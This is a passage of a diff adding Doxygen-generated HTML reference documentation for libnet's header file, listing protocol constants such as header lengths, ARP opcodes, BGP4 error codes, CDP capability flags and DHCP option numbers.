+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a55" doxytag="libnet-headers.h::LIBNET_SEBEK_H" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_SEBEK_H</b>&nbsp;&nbsp;&nbsp;0x30</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a56">LIBNET_STP_CONF_H</a>&nbsp;&nbsp;&nbsp;0x23</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a57">LIBNET_STP_TCN_H</a>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a58">LIBNET_TOKEN_RING_H</a>&nbsp;&nbsp;&nbsp;0x16</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a59">LIBNET_TCP_H</a>&nbsp;&nbsp;&nbsp;0x14</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a60">LIBNET_UDP_H</a>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a61">LIBNET_VRRP_H</a>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a62">LIBNET_802_1Q_PRIMASK</a>&nbsp;&nbsp;&nbsp;0x0007</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a63">LIBNET_802_1Q_CFIMASK</a>&nbsp;&nbsp;&nbsp;0x0001</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a64">LIBNET_802_1Q_VIDMASK</a>&nbsp;&nbsp;&nbsp;0x0fff</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a65">LIBNET_802_1X_PACKET</a>&nbsp;&nbsp;&nbsp;0x00</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a66">LIBNET_802_1X_START</a>&nbsp;&nbsp;&nbsp;0x01</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a67">LIBNET_802_1X_LOGOFF</a>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a68">LIBNET_802_1X_KEY</a>&nbsp;&nbsp;&nbsp;0x03</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-headers_8h.html#a69">LIBNET_802_1X_ENCASFAL</a>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a70" doxytag="libnet-headers.h::LIBNET_SAP_STP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_SAP_STP</b>&nbsp;&nbsp;&nbsp;0x42</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a71" doxytag="libnet-headers.h::LIBNET_SAP_SNAP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_SAP_SNAP</b>&nbsp;&nbsp;&nbsp;0xaa</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a72" doxytag="libnet-headers.h::ARPHRD_NETROM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_NETROM</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a73" doxytag="libnet-headers.h::ARPHRD_ETHER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_ETHER</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a74" doxytag="libnet-headers.h::ARPHRD_EETHER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_EETHER</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a75" doxytag="libnet-headers.h::ARPHRD_AX25" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_AX25</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a76" doxytag="libnet-headers.h::ARPHRD_PRONET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_PRONET</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a77" doxytag="libnet-headers.h::ARPHRD_CHAOS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_CHAOS</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a78" doxytag="libnet-headers.h::ARPHRD_IEEE802" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_IEEE802</b>&nbsp;&nbsp;&nbsp;6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a79" doxytag="libnet-headers.h::ARPHRD_ARCNET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_ARCNET</b>&nbsp;&nbsp;&nbsp;7</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a80" doxytag="libnet-headers.h::ARPHRD_APPLETLK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_APPLETLK</b>&nbsp;&nbsp;&nbsp;8</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a81" doxytag="libnet-headers.h::ARPHRD_LANSTAR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_LANSTAR</b>&nbsp;&nbsp;&nbsp;9</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a82" doxytag="libnet-headers.h::ARPHRD_DLCI" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_DLCI</b>&nbsp;&nbsp;&nbsp;15</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a83" doxytag="libnet-headers.h::ARPHRD_ATM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_ATM</b>&nbsp;&nbsp;&nbsp;19</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a84" doxytag="libnet-headers.h::ARPHRD_METRICOM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_METRICOM</b>&nbsp;&nbsp;&nbsp;23</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a85" doxytag="libnet-headers.h::ARPHRD_IPSEC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPHRD_IPSEC</b>&nbsp;&nbsp;&nbsp;31</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a86" doxytag="libnet-headers.h::ARPOP_REQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPOP_REQUEST</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a87" doxytag="libnet-headers.h::ARPOP_REPLY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPOP_REPLY</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a88" doxytag="libnet-headers.h::ARPOP_REVREQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPOP_REVREQUEST</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a89" doxytag="libnet-headers.h::ARPOP_REVREPLY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPOP_REVREPLY</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a90" doxytag="libnet-headers.h::ARPOP_INVREQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPOP_INVREQUEST</b>&nbsp;&nbsp;&nbsp;8</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a91" doxytag="libnet-headers.h::ARPOP_INVREPLY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ARPOP_INVREPLY</b>&nbsp;&nbsp;&nbsp;9</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a92" doxytag="libnet-headers.h::LIBNET_BGP4_MARKER_SIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_MARKER_SIZE</b>&nbsp;&nbsp;&nbsp;16</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a93" doxytag="libnet-headers.h::LIBNET_BGP4_OPEN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_OPEN</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a94" doxytag="libnet-headers.h::LIBNET_BGP4_UPDATE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_UPDATE</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a95" doxytag="libnet-headers.h::LIBNET_BGP4_NOTIFICATION" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_NOTIFICATION</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a96" doxytag="libnet-headers.h::LIBNET_BGP4_KEEPALIVE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_KEEPALIVE</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a97" doxytag="libnet-headers.h::LIBNET_BGP4_MESSAGE_HEADER_ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_MESSAGE_HEADER_ERROR</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a98" doxytag="libnet-headers.h::LIBNET_BGP4_OPEN_MESSAGE_ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_OPEN_MESSAGE_ERROR</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a99" doxytag="libnet-headers.h::LIBNET_BGP4_UPDATE_MESSAGE_ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_UPDATE_MESSAGE_ERROR</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a100" doxytag="libnet-headers.h::LIBNET_BGP4_HOLD_TIMER_EXPIRED" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_HOLD_TIMER_EXPIRED</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a101" doxytag="libnet-headers.h::LIBNET_BGP4_FINITE_STATE__ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_FINITE_STATE__ERROR</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a102" doxytag="libnet-headers.h::LIBNET_BGP4_CEASE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_CEASE</b>&nbsp;&nbsp;&nbsp;6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a103" doxytag="libnet-headers.h::LIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a104" doxytag="libnet-headers.h::LIBNET_BGP4_BAD_MESSAGE_LENGTH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_BAD_MESSAGE_LENGTH</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a105" doxytag="libnet-headers.h::LIBNET_BGP4_BAD_MESSAGE_TYPE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_BAD_MESSAGE_TYPE</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a106" doxytag="libnet-headers.h::LIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a107" doxytag="libnet-headers.h::LIBNET_BGP4_BAD_PEER_AS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_BAD_PEER_AS</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a108" doxytag="libnet-headers.h::LIBNET_BGP4_BAD_BGP_IDENTIFIER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_BAD_BGP_IDENTIFIER</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a109" doxytag="libnet-headers.h::LIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a110" doxytag="libnet-headers.h::LIBNET_BGP4_AUTHENTICATION_FAILURE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_AUTHENTICATION_FAILURE</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a111" doxytag="libnet-headers.h::LIBNET_BGP4_UNACCEPTABLE_HOLD_TIME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_UNACCEPTABLE_HOLD_TIME</b>&nbsp;&nbsp;&nbsp;6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a112" doxytag="libnet-headers.h::LIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a113" doxytag="libnet-headers.h::LIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a114" doxytag="libnet-headers.h::LIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a115" doxytag="libnet-headers.h::LIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a116" doxytag="libnet-headers.h::LIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a117" doxytag="libnet-headers.h::LIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a118" doxytag="libnet-headers.h::LIBNET_BGP4_AS_ROUTING_LOOP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_AS_ROUTING_LOOP</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a119" doxytag="libnet-headers.h::LIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a120" doxytag="libnet-headers.h::LIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a121" doxytag="libnet-headers.h::LIBNET_BGP4_INVALID_NETWORK_FIELD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_INVALID_NETWORK_FIELD</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a122" doxytag="libnet-headers.h::LIBNET_BGP4_MALFORMED_AS_PATH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BGP4_MALFORMED_AS_PATH</b></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a123" doxytag="libnet-headers.h::LIBNET_PROTO_CDP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PROTO_CDP</b>&nbsp;&nbsp;&nbsp;200</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a124" doxytag="libnet-headers.h::LIBNET_CDP_DEVID" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_DEVID</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a125" doxytag="libnet-headers.h::LIBNET_CDP_ADDRESS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_ADDRESS</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a126" doxytag="libnet-headers.h::LIBNET_CDP_PORTID" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_PORTID</b>&nbsp;&nbsp;&nbsp;0x3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a127" doxytag="libnet-headers.h::LIBNET_CDP_CAPABIL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAPABIL</b>&nbsp;&nbsp;&nbsp;0x4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a128" doxytag="libnet-headers.h::LIBNET_CDP_VERSION" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_VERSION</b>&nbsp;&nbsp;&nbsp;0x5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a129" doxytag="libnet-headers.h::LIBNET_CDP_PLATFORM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_PLATFORM</b>&nbsp;&nbsp;&nbsp;0x6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a130" doxytag="libnet-headers.h::LIBNET_CDP_IPPREFIX" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_IPPREFIX</b>&nbsp;&nbsp;&nbsp;0x7</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a131" doxytag="libnet-headers.h::LIBNET_CDP_CAP_L3R" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_L3R</b>&nbsp;&nbsp;&nbsp;0x01</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a132" doxytag="libnet-headers.h::LIBNET_CDP_CAP_L2B" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_L2B</b>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a133" doxytag="libnet-headers.h::LIBNET_CDP_CAP_L2SRB" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_L2SRB</b>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a134" doxytag="libnet-headers.h::LIBNET_CDP_CAP_L2S" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_L2S</b>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a135" doxytag="libnet-headers.h::LIBNET_CDP_CAP_SR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_SR</b>&nbsp;&nbsp;&nbsp;0x10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a136" doxytag="libnet-headers.h::LIBNET_CDP_CAP_NOI" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_NOI</b>&nbsp;&nbsp;&nbsp;0x20</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a137" doxytag="libnet-headers.h::LIBNET_CDP_CAP_L1F" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CDP_CAP_L1F</b>&nbsp;&nbsp;&nbsp;0x40</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a138" doxytag="libnet-headers.h::LIBNET_DHCP_REQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_REQUEST</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a139" doxytag="libnet-headers.h::LIBNET_DHCP_REPLY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_REPLY</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a140" doxytag="libnet-headers.h::DHCP_MAGIC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>DHCP_MAGIC</b>&nbsp;&nbsp;&nbsp;0x63825363</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a141" doxytag="libnet-headers.h::LIBNET_BOOTP_MIN_LEN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_BOOTP_MIN_LEN</b>&nbsp;&nbsp;&nbsp;0x12c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a142" doxytag="libnet-headers.h::LIBNET_DHCP_PAD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_PAD</b>&nbsp;&nbsp;&nbsp;0x00</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a143" doxytag="libnet-headers.h::LIBNET_DHCP_SUBNETMASK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_SUBNETMASK</b>&nbsp;&nbsp;&nbsp;0x01</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a144" doxytag="libnet-headers.h::LIBNET_DHCP_TIMEOFFSET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_TIMEOFFSET</b>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a145" doxytag="libnet-headers.h::LIBNET_DHCP_ROUTER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_ROUTER</b>&nbsp;&nbsp;&nbsp;0x03</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a146" doxytag="libnet-headers.h::LIBNET_DHCP_TIMESERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_TIMESERVER</b>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a147" doxytag="libnet-headers.h::LIBNET_DHCP_NAMESERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NAMESERVER</b>&nbsp;&nbsp;&nbsp;0x05</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a148" doxytag="libnet-headers.h::LIBNET_DHCP_DNS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_DNS</b>&nbsp;&nbsp;&nbsp;0x06</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a149" doxytag="libnet-headers.h::LIBNET_DHCP_LOGSERV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_LOGSERV</b>&nbsp;&nbsp;&nbsp;0x07</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a150" doxytag="libnet-headers.h::LIBNET_DHCP_COOKIESERV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_COOKIESERV</b>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a151" doxytag="libnet-headers.h::LIBNET_DHCP_LPRSERV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_LPRSERV</b>&nbsp;&nbsp;&nbsp;0x09</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a152" doxytag="libnet-headers.h::LIBNET_DHCP_IMPSERV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_IMPSERV</b>&nbsp;&nbsp;&nbsp;0x0a</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a153" doxytag="libnet-headers.h::LIBNET_DHCP_RESSERV" ></a>
